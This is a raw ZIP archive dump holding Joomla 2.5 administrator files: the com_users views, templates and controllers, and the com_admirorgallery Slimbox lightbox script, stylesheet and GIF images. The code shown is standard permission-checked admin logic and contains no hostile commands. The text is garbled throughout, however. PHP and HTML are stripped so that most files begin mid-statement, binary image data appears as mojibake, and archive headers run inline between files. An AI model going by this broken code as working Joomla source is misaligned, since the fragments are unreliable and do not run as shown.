JToolBarHelper::help('JHELP_USERS_GROUPS'); } } PK@y>\V0components/com_users/views/group/tmpl/index.htmlnuW+A PK@y>\t.components/com_users/views/group/tmpl/edit.phpnuW+A
    • form->getLabel('title'); ?> form->getInput('title'); ?>
    • form->getField('parent_id');?>
    • hidden) echo $parent_id->label; ?> input; ?>
    PK@y>\)/components/com_users/views/group/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)*components/com_users/views/group/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ δ.components/com_users/views/group/view.html.phpnuW+Astate = $this->get('State'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', 1); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $canDo = UsersHelper::getActions(); JToolBarHelper::title(JText::_($isNew ? 'COM_USERS_VIEW_NEW_GROUP_TITLE' : 'COM_USERS_VIEW_EDIT_GROUP_TITLE'), 'groups-add'); if ($canDo->get('core.edit')||$canDo->get('core.create')) { JToolBarHelper::apply('group.apply'); JToolBarHelper::save('group.save'); } if ($canDo->get('core.create')) { JToolBarHelper::save2new('group.save2new'); } // If an existing item, can save to a copy. if (!$isNew && $canDo->get('core.create')) { JToolBarHelper::save2copy('group.save2copy'); } if (empty($this->item->id)) { JToolBarHelper::cancel('group.cancel'); } else { JToolBarHelper::cancel('group.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_USERS_GROUPS_EDIT'); } } PK@y>\V+components/com_users/views/group/index.htmlnuW+A PK@y>\c2components/com_users/views/debuguser/view.html.phpnuW+Aauthorise('core.manage', 'com_users') || !JFactory::getConfig()->get('debug')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $this->actions = $this->get('DebugActions'); $this->items = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->user = $this->get('User'); $this->levels = UsersHelperDebug::getLevelsOptions(); $this->components = UsersHelperDebug::getComponents(); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JToolBarHelper::title(JText::sprintf('COM_USERS_VIEW_DEBUG_USER_TITLE', $this->user->id, $this->user->name), 'user'); JToolBarHelper::help('JHELP_USERS_DEBUG_USERS'); } } PK@y>\V4components/com_users/views/debuguser/tmpl/index.htmlnuW+A PK@y>\E5components/com_users/views/debuguser/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
    actions as $key => $action) : ?> items as $i => $item) : ?> actions as $action) : ?> checks[$name]; if ($check === true) : $class = 'check-a'; $text = '✓'; elseif ($check === false) : $class = 'check-d'; $text = '✗'; elseif ($check === null) : $class = 'check-0'; $text = '-'; else : $class = ''; $text = ' '; endif; ?>
    pagination->getListFooter(); ?>
    escape($item->title); ?> |—', $item->level) ?> escape($item->name); ?> lft; ?> - rgt; ?> id; ?>
    PK@y>\)3components/com_users/views/debuguser/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\).components/com_users/views/debuguser/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V/components/com_users/views/debuguser/index.htmlnuW+A PK@y>\@jx.components/com_users/views/users/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } // Include the component HTML helpers. JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { $canDo = UsersHelper::getActions(); JToolBarHelper::title(JText::_('COM_USERS_VIEW_USERS_TITLE'), 'user'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('user.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('user.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('users.activate', 'COM_USERS_TOOLBAR_ACTIVATE', true); JToolBarHelper::unpublish('users.block', 'COM_USERS_TOOLBAR_BLOCK', true); JToolBarHelper::custom('users.unblock', 'unblock.png', 'unblock_f2.png', 'COM_USERS_TOOLBAR_UNBLOCK', true); JToolBarHelper::divider(); } if ($canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'users.delete'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_users'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_USERS_USER_MANAGER'); } } PK@y>\)*components/com_users/views/users/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V+components/com_users/views/users/index.htmlnuW+A PK@y>\V0components/com_users/views/users/tmpl/index.htmlnuW+A PK@y>\)/components/com_users/views/users/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\YD11components/com_users/views/users/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $loggeduser = JFactory::getUser(); ?>
    items as $i => $item) : $canEdit = $canDo->get('core.edit'); $canChange = $loggeduser->authorise('core.edit.state', 'com_users'); // If this group is super admin and this user is not super admin, $canEdit is false if ((!$loggeduser->authorise('core.admin')) && JAccess::check($item->id, 'core.admin')) { $canEdit = false; $canChange = false; } ?>
    pagination->getListFooter(); ?>
    id); ?>
    note_count, $item->id); ?> note_count, $item->id); ?> id); ?>
    escape($item->name); ?> escape($item->name); ?>
    escape($item->username); ?> id != $item->id) : ?> block, 'users.unblock', 'users.block'); ?> block, 'users.block', null); ?> block ? 'JNO' : 'JYES'); ?> activation, 'users.activate', null); ?> group_names, "\n") > 1) : ?> group_names); ?> escape($item->email); ?> lastvisitDate!='0000-00-00 00:00:00'):?> lastvisitDate, 'Y-m-d H:i:s'); ?> registerDate, 'Y-m-d H:i:s'); ?> id; ?>
    authorize('core.create', 'com_users') && $user->authorize('core.edit', 'com_users') && $user->authorize('core.edit.state', 'com_users')) : ?> loadTemplate('batch'); ?>
    PK@y>\0h /components/com_users/views/users/tmpl/modal.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
    1. state->get('filter.group_id'), 'onchange="this.form.submit()"'); ?>
    items as $item) : ?>
    pagination->getListFooter(); ?>
    name; ?> username; ?> group_names); ?>
    PK@y>\xI7components/com_users/views/users/tmpl/default_batch.phpnuW+A
    PK@y>\3~-components/com_users/views/user/view.html.phpnuW+Aform = $this->get('Form'); $this->item = $this->get('Item'); $this->grouplist = $this->get('Groups'); $this->groups = $this->get('AssignedGroups'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->form->setValue('password', null); $this->form->setValue('password2', null); parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', 1); $user = JFactory::getUser(); $isNew = ($this->item->id == 0); $canDo = UsersHelper::getActions(); $isNew = ($this->item->id == 0); $isProfile = $this->item->id == $user->id; JToolBarHelper::title(JText::_($isNew ? 'COM_USERS_VIEW_NEW_USER_TITLE' : ($isProfile ? 'COM_USERS_VIEW_EDIT_PROFILE_TITLE' : 'COM_USERS_VIEW_EDIT_USER_TITLE')), $isNew ? 'user-add' : ($isProfile ? 'user-profile' : 'user-edit')); if ($canDo->get('core.edit')||$canDo->get('core.create')) { JToolBarHelper::apply('user.apply'); JToolBarHelper::save('user.save'); } if ($canDo->get('core.create')&&$canDo->get('core.manage')) { JToolBarHelper::save2new('user.save2new'); } if (empty($this->item->id)) { JToolBarHelper::cancel('user.cancel'); } else { JToolBarHelper::cancel('user.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_USERS_USER_MANAGER_EDIT'); } } PK@y>\V*components/com_users/views/user/index.htmlnuW+A PK@y>\V/components/com_users/views/user/tmpl/index.htmlnuW+A PK@y>\FJ50r r -components/com_users/views/user/tmpl/edit.phpnuW+Aform->getFieldsets(); ?>
      form->getFieldset('user_details') as $field) :?>
    • label; ?> input; ?>
    grouplist) :?>
    loadTemplate('groups');?>
    name == 'user_details') : continue; endif; echo JHtml::_('sliders.panel', JText::_($fieldset->label), $fieldset->name); ?>
      form->getFieldset($fieldset->name) as $field): ?> hidden): ?> input; ?>
    • label; ?> input; ?>
    PK@y>\FK4components/com_users/views/user/tmpl/edit_groups.phpnuW+A groups, true); ?> PK@y>\).components/com_users/views/user/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\))components/com_users/views/user/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V%components/com_users/views/index.htmlnuW+A PK@y>\C,1components/com_users/views/notes/tmpl/default.phpnuW+Aescape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canEdit = $user->authorise('core.edit', 'com_users'); ?>
    items as $i => $item) : ?> authorise('core.edit.state', 'com_users'); ?>
    pagination->getListFooter(); ?>
    id); ?> checked_out) : ?> editor, $item->checked_out_time); ?> escape($item->user_name); ?> escape($item->user_name); ?> subject) : ?> escape($item->subject); ?> catid && $item->cparams->get('image')) : ?> cparams->get('image')); ?> escape($item->category_title); ?> state, $i, 'notes.', $canChange, 'cb', $item->publish_up, $item->publish_down); ?> review_time)) : ?> escape($item->review_time); ?> id; ?>
    PK@y>\60components/com_users/views/notes/tmpl/index.htmlnuW+APK@y>\V-/components/com_users/views/notes/tmpl/modal.phpnuW+A

    user->name, $this->user->id); ?>

    items)) : ?>
      items as $item) : ?>
    1. subject) : ?>

      id, $this->escape($item->subject)); ?>

      id, JText::_('COM_USERS_EMPTY_SUBJECT')); ?>

      created_time, 'D d M Y H:i'); ?>
      cparams->get('image'); ?> catid && isset($category_image)) : ?>
      escape($item->category_title); ?>
      body; ?>
    PK@y>\)/components/com_users/views/notes/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6+components/com_users/views/notes/index.htmlnuW+APK@y>\)*components/com_users/views/notes/.htaccessnuW+A Order allow,deny Deny from all PK@y>\c .components/com_users/views/notes/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->user = $this->get('User'); // Check for errors. if (count($errors = $this->get('Errors'))) { throw new Exception(implode("\n", $errors), 500); } // Get the component HTML helpers JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html'); // turn parameters into registry objects foreach ($this->items as $item) { $item->cparams = new JRegistry(); $item->cparams->loadString($item->category_params); } parent::display($tpl); $this->addToolbar(); } /** * Display the toolbar. * * @return void * * @since 2.5 */ protected function addToolbar() { $canDo = UsersHelper::getActions(); JToolBarHelper::title(JText::_('COM_USERS_VIEW_NOTES_TITLE'), 'user'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('note.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('note.edit'); } if ($canDo->get('core.edit.state')) { JToolBarHelper::divider(); JToolBarHelper::publish('notes.publish', 'JTOOLBAR_PUBLISH', true); JToolBarHelper::unpublish('notes.unpublish', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); JToolBarHelper::archiveList('notes.archive'); JToolBarHelper::checkin('notes.checkin'); } if ($this->state->get('filter.state') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'notes.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('notes.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_users'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_USERS_USER_NOTES'); } } PK@y>\R*^components/com_users/access.xmlnuW+A
    PK@y>\Q]]components/com_users/users.xmlnuW+A com_users Joomla! Project April 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_USERS_XML_DESCRIPTION controller.php index.html router.php users.php controllers helpers models views language/en-GB.com_users.ini config.xml controller.php index.html users.php controllers helpers models views language/en-GB.com_users.ini PK@y>\JKUcomponents/com_users/users.phpnuW+Aauthorise('core.manage', 'com_users')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } // Register helper class JLoader::register('UsersHelper', dirname(__FILE__) . '/helpers/users.php'); // Execute the task. $controller = JControllerLegacy::getInstance('Users'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\)components/com_users/.htaccessnuW+A Order allow,deny Deny from all PK@y>\bXe00components/com_users/config.xmlnuW+A
    PK@y>\Vcomponents/com_users/index.htmlnuW+A PK@y>\$$+components/com_users/controllers/levels.phpnuW+A true)); } } PK@y>\)components/com_users/controllers/note.phpnuW+Ainput->get('u_id', 0, 'int'); if ($userId) { $append .= '&u_id=' . $userId; } return $append; } } PK@y>\$@[*components/com_users/controllers/level.phpnuW+Aauthorise('core.admin', $this->option) && parent::allowSave($data, $key)); } /** * Method to remove a record. */ public function delete() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JInvalid_Token')); // Initialise variables. $user = JFactory::getUser(); $ids = JRequest::getVar('cid', array(), '', 'array'); if (!JFactory::getUser()->authorise('core.admin', $this->option)) { JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR')); jexit(); } elseif (empty($ids)) { JError::raiseWarning(500, JText::_('COM_USERS_NO_LEVELS_SELECTED')); } else { // Get the model. $model = $this->getModel(); JArrayHelper::toInteger($ids); // Remove the items. if (!$model->delete($ids)) { JError::raiseWarning(500, $model->getError()); } else { $this->setMessage(JText::plural('COM_USERS_N_LEVELS_DELETED', count($ids))); } } $this->setRedirect('index.php?option=com_users&view=levels'); } } PK@y>\IJ! ! *components/com_users/controllers/users.phpnuW+AregisterTask('block', 'changeBlock'); $this->registerTask('unblock', 'changeBlock'); } /** * Proxy for getModel. * * @param string $name The model name. Optional. * @param string $prefix The class prefix. Optional. * @param array $config Configuration array for model. Optional. * * @return object The model. * * @since 1.6 */ public function getModel($name = 'User', $prefix = 'UsersModel', $config = array('ignore_request' => true)) { return parent::getModel($name, $prefix, $config); } /** * Method to change the block status on a record. * * @return void * * @since 1.6 */ public function changeBlock() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $ids = JRequest::getVar('cid', array(), '', 'array'); $values = array('block' => 1, 'unblock' => 0); $task = $this->getTask(); $value = JArrayHelper::getValue($values, $task, 0, 'int'); if (empty($ids)) { JError::raiseWarning(500, JText::_('COM_USERS_USERS_NO_ITEM_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Change the state of the records. if (!$model->block($ids, $value)) { JError::raiseWarning(500, $model->getError()); } else { if ($value == 1) { $this->setMessage(JText::plural('COM_USERS_N_USERS_BLOCKED', count($ids))); } elseif ($value == 0) { $this->setMessage(JText::plural('COM_USERS_N_USERS_UNBLOCKED', count($ids))); } } } $this->setRedirect('index.php?option=com_users&view=users'); } /** * Method to activate a record. * * @return void * * @since 1.6 */ public function activate() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $ids = JRequest::getVar('cid', array(), '', 'array'); if (empty($ids)) { JError::raiseWarning(500, JText::_('COM_USERS_USERS_NO_ITEM_SELECTED')); } else { // Get the model. $model = $this->getModel(); // Change the state of the records. if (!$model->activate($ids)) { JError::raiseWarning(500, $model->getError()); } else { $this->setMessage(JText::plural('COM_USERS_N_USERS_ACTIVATED', count($ids))); } } $this->setRedirect('index.php?option=com_users&view=users'); } } PK@y>\)*components/com_users/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ Ey# # +components/com_users/controllers/groups.phpnuW+A true)); } /** * Removes an item. * * Overrides JControllerAdmin::delete to check the core.admin permission. * * @since 1.6 */ function delete() { if (!JFactory::getUser()->authorise('core.admin', $this->option)) { JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR')); jexit(); } return parent::delete(); } /** * Method to publish a list of records. * * Overrides JControllerAdmin::publish to check the core.admin permission. * * @since 1.6 */ function publish() { if (!JFactory::getUser()->authorise('core.admin', $this->option)) { JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR')); jexit(); } return parent::publish(); } /** * Changes the order of one or more records. * * Overrides JControllerAdmin::reorder to check the core.admin permission. * * @since 1.6 */ public function reorder() { if (!JFactory::getUser()->authorise('core.admin', $this->option)) { JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR')); jexit(); } return parent::reorder(); } /** * Method to save the submitted ordering values for records. * * Overrides JControllerAdmin::saveorder to check the core.admin permission. * * @since 1.6 */ public function saveorder() { if (!JFactory::getUser()->authorise('core.admin', $this->option)) { JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR')); jexit(); } return parent::saveorder(); } /** * Check in of one or more records. * * Overrides JControllerAdmin::checkin to check the core.admin permission. * * @since 1.6 */ public function checkin() { if (!JFactory::getUser()->authorise('core.admin', $this->option)) { JError::raiseError(500, JText::_('JERROR_ALERTNOAUTHOR')); jexit(); } return parent::checkin(); } } PK@y>\&\}})components/com_users/controllers/mail.phpnuW+A */ defined('_JEXEC') or die; /** * Users mail controller. * * @package Joomla.Administrator * @subpackage com_users */ class UsersControllerMail extends JControllerLegacy { public function send() { // Check for request forgeries. JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN')); $model = $this->getModel('Mail'); if ($model->send()) { $type = 'message'; } else { $type = 'error'; } $msg = $model->getError(); $this->setredirect('index.php?option=com_users&view=mail', $msg, $type); } public function cancel() { // Check for request forgeries. JSession::checkToken('request') or jexit(JText::_('JINVALID_TOKEN')); $this->setRedirect('index.php'); } } PK@y>\V+components/com_users/controllers/index.htmlnuW+A PK@y>\sZ  )components/com_users/controllers/user.phpnuW+Aauthorise('core.admin')) { return false; } } return parent::allowEdit($data, $key); } /** * Method to run batch operations. * * @param object $model The model. * * @return boolean True on success, false on failure * * @since 2.5 */ public function batch($model = null) { JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Set the model $model = $this->getModel('User', '', array()); // Preset the redirect $this->setRedirect(JRoute::_('index.php?option=com_users&view=users' . $this->getRedirectToListAppend(), false)); return parent::batch($model); } /** * Overrides parent save method to check the submitted passwords match. * * @param string $key The name of the primary key of the URL variable. * @param string $urlVar The name of the URL variable if different from the primary key (sometimes required to avoid router collisions). * * @return boolean True if successful, false otherwise. * * @since 1.6 */ public function save($key = null, $urlVar = null) { $data = JRequest::getVar('jform', array(), 'post', 'array'); // TODO: JForm should really have a validation handler for this. if (isset($data['password']) && isset($data['password2'])) { // Check the passwords match. if ($data['password'] != $data['password2']) { $this->setMessage(JText::_('JLIB_USER_ERROR_PASSWORD_NOT_MATCH'), 'warning'); $this->setRedirect(JRoute::_('index.php?option=com_users&view=user&layout=edit', false)); } unset($data['password2']); } return parent::save(); } } PK@y>\gd22*components/com_users/controllers/notes.phpnuW+A true)) { return parent::getModel($name, $prefix, $config); } } PK@y>\{{*components/com_users/controllers/group.phpnuW+Aauthorise('core.admin', $this->option) && parent::allowSave($data, $key)); } /** * Overrides JControllerForm::allowEdit * * Checks that non-Super Admins are not editing Super Admins. * * @param array An array of input data. * @param string The name of the key for the primary key. * * @return boolean * @since 1.6 */ protected function allowEdit($data = array(), $key = 'id') { // Check if this group is a Super Admin if (JAccess::checkGroup($data[$key], 'core.admin')) { // If I'm not a Super Admin, then disallow the edit. if (!JFactory::getUser()->authorise('core.admin')) { return false; } } return parent::allowEdit($data, $key); } } PK@y>\) #components/com_users/controller.phpnuW+Aget('core.admin'); break; // Default permissions. default: return true; } } /** * Method to display a view. * * @param boolean If true, the view output will be cached * @param array An array of safe url parameters and their variable types, for valid values see {@link JFilterInput::clean()}. * * @return JController This object to support chaining. * @since 1.5 */ public function display($cachable = false, $urlparams = false) { // Load the submenu. UsersHelper::addSubmenu(JRequest::getCmd('view', 'users')); $view = JRequest::getCmd('view', 'users'); $layout = JRequest::getCmd('layout', 'default'); $id = JRequest::getInt('id'); if (!$this->canView($view)) { JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); return; } // Check for edit form. if ($view == 'user' && $layout == 'edit' && !$this->checkEditId('com_users.edit.user', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_users&view=users', false)); return false; } elseif ($view == 'group' && $layout == 'edit' && !$this->checkEditId('com_users.edit.group', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_users&view=groups', false)); return false; } elseif ($view == 'level' && $layout == 'edit' && !$this->checkEditId('com_users.edit.level', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_users&view=levels', false)); return false; } elseif ($view == 'note' && $layout == 'edit' && !$this->checkEditId('com_users.edit.note', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_users&view=notes', false)); return false; } return parent::display(); } } PK@y>\BR>>/components/com_admirorgallery/slimbox/index.phpnuW+AaddScript(JURI::root().'administrator/components/com_admirorgallery/slimbox/js/slimbox2.js'); // Load CSS from current popup folder $doc->addStyleSheet(JURI::root().'administrator/components/com_admirorgallery/slimbox/css/slimbox2.css'); ?>PK@y>\0components/com_admirorgallery/slimbox/index.htmlnuW+APK@y>\)/components/com_admirorgallery/slimbox/.htaccessnuW+A Order allow,deny Deny from all PK@y>\4components/com_admirorgallery/slimbox/css/index.htmlnuW+APK@y>\3ybb7components/com_admirorgallery/slimbox/css/nextlabel.gifnuW+AGIF89a? zzzaaammmUUUևϾrrrIII333!,?  mdih,:p,tmx|pH,ȠF04r 04R@SNbƆ06ŀ P(2!ǹ(UOaZ?[ e) L&[bUOj$l@c=* rJU$ P'[YêŴKfhִ%ĨR_%I- H0D ;PK@y>\)3components/com_admirorgallery/slimbox/css/.htaccessnuW+A Order allow,deny Deny from all PK@y>\#cEr5components/com_admirorgallery/slimbox/css/loading.gifnuW+AGIF89a&&&似̪ظppphhhFFFHHH222PPP666VVV! ! NETSCAPE2.0,@pHL<á ĨtW`4S退-k\J%<f4c`𸜛 GyXg{wQoX  hDd aeTyvkyBVe vC pyC yFpQpGpPCpHpͫpIp pJe֝Xϧe p X%ia6Ž'_SjtEYB!  B !BvGur GA! !,XpH,(q9XP2TDK%fPGC P~@D@XĆ۩S~ S  S!u~! A;PK@y>\Fss7components/com_admirorgallery/slimbox/css/prevlabel.gifnuW+AGIF89a? bbbmmmǺyyy廻WWW333!,? `&dihprmx|pH,ibpdӦ@i@0CS +&vOR =Dak# ~Xb%| BLbs# i&`LQ}eg|X""Nhr#\C&d"&x \j$j&~ȄrXtu`YJ"+*$H0 TPaÄ#JHS;PK@y>\\8components/com_admirorgallery/slimbox/css/closelabel.gifnuW+AGIF87aBzzzYYY҃䌌PPPTTTVVVRRRXXXQQQSSSUUU{{{```WWWOOOLLLfff___KKKޡlllxxxyyydddZZZﳳ㇇iiiNNNsssMMMggg|||ccc߹pppeeevvvmmmnnnooo,B/2X]$(Y';8*'G × ?,T!'M  ̕   7냣&HO\^霾6components/com_admirorgallery/slimbox/css/slimbox2.cssnuW+A#lbOverlay { position:fixed; z-index:9999; left:0; top:0; width:100%; height:100%; background-color:#000; cursor:pointer; } #lbCenter,#lbBottomContainer { position:absolute; z-index:9999; overflow:hidden; background-color:#fff; } .lbLoading { background:#fff url(loading.gif) no-repeat center; } #lbImage { position:absolute; left:0; top:0; border:10px solid #fff; background-repeat:no-repeat; } #lbPrevLink,#lbNextLink { display:block; position:absolute; top:0; width:50%; outline:none; } #lbPrevLink { left:0; } #lbPrevLink:hover { background:transparent url(prevlabel.gif) no-repeat 0 15%; } #lbNextLink { right:0; } #lbNextLink:hover { background:transparent url(nextlabel.gif) no-repeat 100% 15%; } #lbBottom { font-family:Verdana, Arial, Geneva, Helvetica, sans-serif; font-size:10px; color:#666; line-height:1.4em; text-align:left; border:10px solid #fff; border-top-style:none; } #lbCloseLink { display:block; float:right; width:66px; height:22px; background:transparent url(closelabel.gif) no-repeat center; outline:none; margin:5px 0; } #lbCaption,#lbNumber { margin-right:71px; } #lbCaption { font-weight:700; }PK@y>\3components/com_admirorgallery/slimbox/js/index.htmlnuW+APK@y>\!>C224components/com_admirorgallery/slimbox/js/slimbox2.jsnuW+A/* Slimbox v2.04 - The ultimate lightweight Lightbox clone for AG_jQuery (c) 2007-2010 Christophe Beyls MIT-style license. */ (function(w){var E=w(window),u,f,F=-1,n,x,D,v,y,L,r,m=!window.XMLHttpRequest,s=[],l=document.documentElement,k={},t=new Image(),J=new Image(),H,a,g,p,I,d,G,c,A,K;w(function(){w("body").append(w([H=w('
    ')[0],a=w('
    ')[0],G=w('
    ')[0]]).css("display","none"));g=w('
    ').appendTo(a).append(p=w('
    ').append([I=w('').click(B)[0],d=w('').click(e)[0]])[0])[0];c=w('
    ').appendTo(G).append([w('').add(H).click(C)[0],A=w('
    ')[0],K=w('
    ')[0],w('
    ')[0]])[0]});w.slimbox=function(O,N,M){u=w.extend({loop:false,overlayOpacity:0.8,overlayFadeDuration:400,resizeDuration:400,resizeEasing:"swing",initialWidth:250,initialHeight:250,imageFadeDuration:400,captionAnimationDuration:400,counterText:"Image {x} of {y}",closeKeys:[27,88,67],previousKeys:[37,80],nextKeys:[39,78]},M);if(typeof O=="string"){O=[[O,N]];N=0}y=E.scrollTop()+(E.height()/2);L=u.initialWidth;r=u.initialHeight;w(a).css({top:Math.max(0,y-(r/2)),width:L,height:r,marginLeft:-L/2}).show();v=m||(H.currentStyle&&(H.currentStyle.position!="fixed"));if(v){H.style.position="absolute"}w(H).css("opacity",u.overlayOpacity).fadeIn(u.overlayFadeDuration);z();j(1);f=O;u.loop=u.loop&&(f.length>1);return b(N)};w.fn.slimbox=function(M,P,O){P=P||function(Q){return[Q.href,Q.title]};O=O||function(){return true};var N=this;return N.unbind("click").click(function(){var S=this,U=0,T,Q=0,R;T=w.grep(N,function(W,V){return O.call(S,W,V)});for(R=T.length;Q=0)?C():(M(N,u.nextKeys)>=0)?e():(M(N,u.previousKeys)>=0)?B():false}function B(){return b(x)}function e(){return b(D)}function b(M){if(M>=0){F=M;n=f[F][0];x=(F||(u.loop?f.length:0))-1;D=((F+1)%f.length)||(u.loop?0:-1);q();a.className="lbLoading";k=new Image();k.onload=i;k.src=n}return false}function i(){a.className="";w(g).css({backgroundImage:"url("+n+")",visibility:"hidden",display:""});w(p).width(k.width);w([p,I,d]).height(k.height);w(A).html(f[F][1]||"");w(K).html((((f.length>1)&&u.counterText)||"").replace(/{x}/,F+1).replace(/{y}/,f.length));if(x>=0){t.src=f[x][0]}if(D>=0){J.src=f[D][0]}L=g.offsetWidth;r=g.offsetHeight;var M=Math.max(0,y-(r/2));if(a.offsetHeight!=r){w(a).animate({height:r,top:M},u.resizeDuration,u.resizeEasing)}if(a.offsetWidth!=L){w(a).animate({width:L,marginLeft:-L/2},u.resizeDuration,u.resizeEasing)}w(a).queue(function(){w(G).css({width:L,top:M+r,marginLeft:-L/2,visibility:"hidden",display:""});w(g).css({display:"none",visibility:"",opacity:""}).fadeIn(u.imageFadeDuration,h)})}function h(){if(x>=0){w(I).show()}if(D>=0){w(d).show()}w(c).css("marginTop",-c.offsetHeight).animate({marginTop:0},u.captionAnimationDuration);G.style.visibility=""}function q(){k.onload=null;k.src=t.src=J.src=n;w([a,g,c]).stop(true);w([I,d,g,G]).hide()}function C(){if(F>=0){q();F=x=D=-1;w(a).hide();w(H).stop().fadeOut(u.overlayFadeDuration,j)}return false}})(AG_jQuery); // AUTOLOAD CODE BLOCK (MAY BE CHANGED OR REMOVED) if (!/android|iphone|ipod|series60|symbian|windows ce|blackberry/i.test(navigator.userAgent)) { AG_jQuery(function($) { $("a[rel^='lightbox']").slimbox({/* Put custom options here */}, null, function(el) { return (this == el) || ((this.rel.length > 8) && (this.rel == el.rel)); }); }); }PK@y>\)2components/com_admirorgallery/slimbox/js/.htaccessnuW+A Order allow,deny Deny from all PK@y>\NX(components/com_admirorgallery/config.xmlnuW+A
